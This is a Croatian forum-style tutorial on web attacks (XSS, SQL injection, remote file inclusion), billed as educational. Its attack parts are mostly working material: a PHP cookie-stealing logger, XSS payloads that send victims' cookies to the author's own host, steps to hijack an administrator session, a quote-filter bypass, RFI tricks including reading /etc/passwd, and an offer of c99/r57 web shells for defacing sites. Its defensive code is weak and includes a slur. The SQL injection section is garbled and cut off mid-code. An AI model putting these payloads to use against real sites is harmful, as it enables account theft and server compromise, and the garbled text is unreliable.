Ovaj thread je isključivo u edukacijske svrhe, napravljen za pomoć i razumjevanje! Autor ovog teksta se ograđuje od bilo kakve štete uzrokovane ovim threadom!
Tekst je napisan za web developere koji žele znati više!
XSS
Cross-Site Scripting (XSS) je sigurnosni propust u web arhitekturi. Pogođene su web aplikacije koje ne izvršavaju upite pravilno. Tako omogućavaju napadaču upload svojeg dokumenta,HTML-a, Javascripa na server. Ali najčešće se koristi za krađu "kolačića".
Sad neću objašnjavati što su to Cookies(vidi wikipedia). Uglavnom, ako imamo cookie, jedinstveno određujemo korisnika, njegov pristup i sl...
3 su vrsta XSS napada: "Persistent" i "Non-Persistent" i DOM-based napadi.
Perzistenti su rijetki. Tip: server drži podatke, koje prije slanja web-aplikaciji se ne filtriraju. Mogućnost uploada skripte koja se izvršava na svim browserima koji pristupaju serveru.
Ne-perzistentni su češći. Tip: Korisnik šalje podatke, server izvršava skriptu koja mora odmah vratiti podatke.
Primjer perzistentnog napada:
Imate forum ranjiv na XSS. Započinjete pisati novu temu. Naslov, predmet, u sadržaj pišete: <script>alert("Ovo je primjer perzistentnog XSS napada!")</script>. Kad otvorite temu, iskoči prozor koji piše "Ovo je primjer perzistentnog XSS napada!". Naravno, ovo je najjednostavnija klijentska aplikacija, a može se puno više.
Za prikupit cookie trebate blago modificirati kod. <script>alert(document.cookie)</script>. Sad vam iskoči vaš cookie. Za ukrasti tuđe cookie je potrebno više napora...
Najprije morate imati svoj hosting da podržava php. Napravite idući php i postavite ga stranicu.
<?php
$cookie = $_GET['c];
$ip = getenv (’REMOTE_ADDR’);
$date=date("j F, Y, g:i a");;
$referer=getenv (’HTTP_REFERER’);
$fp = fopen(’cookies.txt’, ‘a’);
fwrite($fp, ‘Cookie: ‘.$cookie.’<br> IP: ‘ .$ip. ‘<br> Date and Time: ‘ .$date. ‘<br> Referer: ‘.$referer.’<br><br><br>’);
fclose($fp);
header ("Location: http://www.google.com");
?>
Spremi pod ime.php. Uredi kod unosa. Uplodiraj na www.moj-site.com. Vrati se na forum i sad upiši u novu temu <script>document.location="http://www.moj-site.com/ime.php?c="+document.cookie</script>
Kod idućeg otvara svog site-a imaš novi html i u njem sve kolačiće onih korisnika koji su kliknuli na tvoju temu. Sad se vratite na forum i u URL upišite dani cookie: javascript:void(document.cookie="forum_7464873647327gdzedg33=Admin") Izvršite naredbu i refreshajte stranicu. Ulogirani ste kao administrator.
Primjer neperzistentnog napada:
Tražite nešto po forumu. Reći ćemo, po autorima. Nakon što pritisnete traži, u URL vam izbaci nešto ovako: http://www.neki-site.com/forum/forumaction=search&user=Smooth Operator .To Smooth Operator zamijenite s nekim javascriptom: <script>alert("Ovo je primjer neperzistentnog XSS napada!")</script> Izvršite upit. Nakon što se refresha stranica idite na source kod i vidite kako se filtrira stranica. S pomoću \ se izbacuju navodnici. Vama treba nešto bez navodnika.Idite na www.wocares.com/noquote.php i upišite tekst koji želi da vam izbaci.Dole na radio buttonu stavite javascript i stisnute ok. Sad vam se izgenerira nešto kao String.fromCharCode(111,222,333,444). Vratite se u URL i na mjesto Smooth Operator upišite '/><script>alert(String.fromCharCode(111,222,333,444))</script> Da,primjećujete malu promjenu na početku. Isprobajte,da li najjednostavnija aplikacija radi.
Sad cookies! Umjesto Smooth Operator upišite'/><script>document.location="http://www.moj-site.com/ime.php?c="+document.cookie</script> Nažalost,opet imate navodnike. Idite opet na www.wocares.com/noquote.php i sad uradite isto s http://www.moj-site.com/ime.php?c= Stavite js botun i generirajte char. Sad umjesto Smooth operator napišite izgenerirani char, '/><script>alert(String.fromCharCode(111,222,333,444,555,666))+document.cookie</script> Vratite se na svoj site, imate cookie,ulogirajte se kao u prethodnom primjeru.
Pa kako se obraniti... Kao što se vidi, ovim se stiče samo cookie i ako uspiješ adminov cookie uzeti, onda možeš i sve raditi na toj stranici. Dakle, treba obraniti browser prilikom pristupa stranici. Sve ovo onemogućivate tako što skinete FF add-on https://addons.mozilla.org/en-US/firefox/addon/5589
Također,na vašem serveru, dobro je držati ovakvu skriptu:
<?php
$queryString = strtolower($_SERVER['QUERY_STRING']);
if (strstr($queryString,"<") OR strstr($queryString,">") OR strstr($queryString,"(") OR strstr($queryString,")") OR
strstr($queryString,"..") OR
strstr($queryString,"%") OR
strstr($queryString,"*") OR
strstr($queryString,"+") OR
strstr($queryString,"!") OR
strstr($queryString,"@")) {
$loc = $_SERVER['PHP_SELF'];
$ip = $_SERVER['REMOTE_ADDR'];
$date = date ("d-m-Y @ h:i:s");
$lfh = "log.txt";
$log = fopen ( $lfh,"a+" );
fputs ($log, "Datum napada: $date | Napadačev IP: $ip | QueryString: $loc?=$queryString\n");
fclose($log);
echo "Rezultati se ne žele prikazati pederu!";
}
?> Tako da imate logove, ko vam sve šupa po stranci!
Obrana je bila jednostvana i učinkovita.
SQL Injection
SQL injekcija je manipuliranje bazom podataka, tako da ekstraktate, izvučete passworde iz baze podataka. To se čini kombinacijama upita. Potrebno znanje iz SQL baza. Pogledajmo najjednostavniji SQL injection i njegov kod stranice koja ima tu slabost:
$user = $_POST['u'];
$pass = $_POST['p'];
if (!isset($user) || !isset($pass)) {
echo("<form method=post><input type=text name=u value=Username><br /><input type=password name=p value=Password><br /><input type=submit value=Login></form>");
} else {
$sql = "SELECT `IP` FROM `users` WHERE `username`='$user' AND `password`='$pass'";
$ret = mysql_query($sql);
$ret = mysql_fetch_array($ret);
if ($ret[0] != "") {
echo("Welcome, $user.");
} else {
echo("Incorrect login details.");
}
}
?>

"FROM Users WHERE UserName = @username AND Password = @password", Connection)
thisCommand.Parameters.Add ("@username", SqlDbType.VarChar).Value = username
thisCommand.Parameters.Add ("@password", SqlDbType.VarChar).Value = password
Dim thisCount As Integer = thisCommand.ExecuteScalar()
Naravno, to će samo biti moguće ako ga poslužitelj podržava PHP i omogućava URL Daljinski pristup.
Da uradimo primjer jednog RFIja. Reci mi imamo "server1.com" kao ranjiv, a imamo datoteku
na "server2.com". Oba poslužitelja httpd root direktoriji su "/ var / www." Server 1 ima
ranjivosti u index.php. Server 2 sadrži kod kojih smo u našem želite uključiti na Server 1.
Ovo je jednostavan način kako uključivanje bi trebao izgledati, koje smo koristili kao na primjer.
Server je u index.php 1:
PHP Code:
<?php
$page = $_GET['page'];
include($page);
?>
Sada, prije nego što nastavite sa RFI i datoteke na server 2, mi ćemo najprije testirati kod na
prvi poslužitelj s LFI (Local File inclusion), koja je ista kao RFI, samo je ova metoda koristi
datoteke koje su domaćin na tekućem (lokalnom) poslužitelju, a ne s udaljenim poslužiteljem. Ova metoda se često
koristi u Linuxu kako biste dobili "/ etc / passwd" i ponekad "/ etc / shadow".
Mi ćemo sada stvoriti drugu datoteku na server 1, koju ćemo nazvati "test.txt". Ova datoteka će se samo
sadržavati sljedeće i služi samo kao test:
PHP Code:
<? php
echo "Pozdrav, ovo je test."
?>
Sada možemo testirati naše uključivanje na server 1. Mi ćemo uključiti "test.txt" da biste provjerili da li će to raditi.
A inclusion izgleda "index.php? Page = Datoteka", jer mi koristimo "$ stranicu" i "$ _GET [ 'page']". tako je
URL će biti:
http://server1.com/index.php?page=test.txt
Ako to radi, trebali biste vidjeti tekst na stranici, što će biti:
Pozdrav, ovo je test.
Ako niste stvorili test.txt ili ako se jednostavno ne postoje, ili postoje neke zaštit, trebali biste vidjeti sljedeće pogreške:
Upozorenje: glavni (test.txt) [function.main]: OpenBSD tok: Nema takve datoteke ili direktorija u
/ var / www / index.php on line 1
Sjetite se da su neki serveri imaju URL pristup onemogućen. To ga čini nemogućim da biste uključili vanjske
(ili na daljinu) datoteke. To znači da ne možete koristiti "http://" ili "ftp://" u inkluzije, ali ponekad
još uvijek možete koristiti LFI na tim web lokacijama.
Ok, to sad znamo da je inkluzija radi. Mi sada mogu stvoriti datoteku na naš server 2. Da ga nazovemo
"include.txt". Ova datoteka će sadržavati sljedeće:
PHP Code:
<? php
echo "Vas RFI izgleda kao da radi."
?>
Sada ste spremni učiniti vaš RFI. Ona izgleda ovako:
Server 1 SERVER 2
http://server1.com/index.php?page =http://server2.com/include.txt
Ako to radi, vidjet ćete tekst include.txt na stranici
Ispis vašeg remote skripte:
Vaš RFI izgleda kao da se radi.
Sada postoji nešto trebate zapamtiti, a to je da neke web stranice već imate filetype
konfiguriran uključiti u svoje skripte, kao što su:
PHP Code:
<? php
$ page = $ _GET [ 'page'];
uključiti ("".$ stranici.. "html");
?>
Zatim ako koristite "index.php? Page = test", to će uključivati "test.html" na lokalnom serveru. Ako je ovo
slučaj, onda vaš "http://server2.com/include.txt" neće raditi. Možete zaobići ovu stavljanjem
upitnik nakon vlastiti URL, tako da će biti "http://server2.com/include.txt?". Tada URL
bi trebao izgledati ovako:
http://server1.com/index.php?page=http://server2.include.txt?
Što će to učiniti, je uključiti "http://server2.com/include.txt?.html", ali zbog upitnika, ona će o "zaboraviti html" ili .txt i da će samo sadržavati URL.
Međutim, to nije sve što možete učiniti s RFI. Također možete uključiti shell skripti, kao što su "c99"
i "r57". Ove skripte će Vam omogućiti izvršavanje naredbi ili činiti mnoge druge stvari na
poslužitelja. Ako želite te skripte, ili ih guglajte, ili me pm-ajte. S njima možete uplodirati šta hoćete na ranjivi server i tako defaceati stranicu.
Obrana od RFI-a:
PHP Code:
<?php
$page = $_GET['page'];
if ($page=="index") {
$page = "home";
}
$filename = "./" . $page .".php";
if (file_exists($filename)) {
include($filename);
} else {
include('home.php');
}
?>
Ova skripta vraća napadača na homepage, nedajući mu mogućnost pregledavanja sadržaja.
Nadam se da nisam previše otkrio i da će biti ljudi koji će htjeti nastaviti s ovakom edukacijom(SQL injection, backdoori, mailovi..).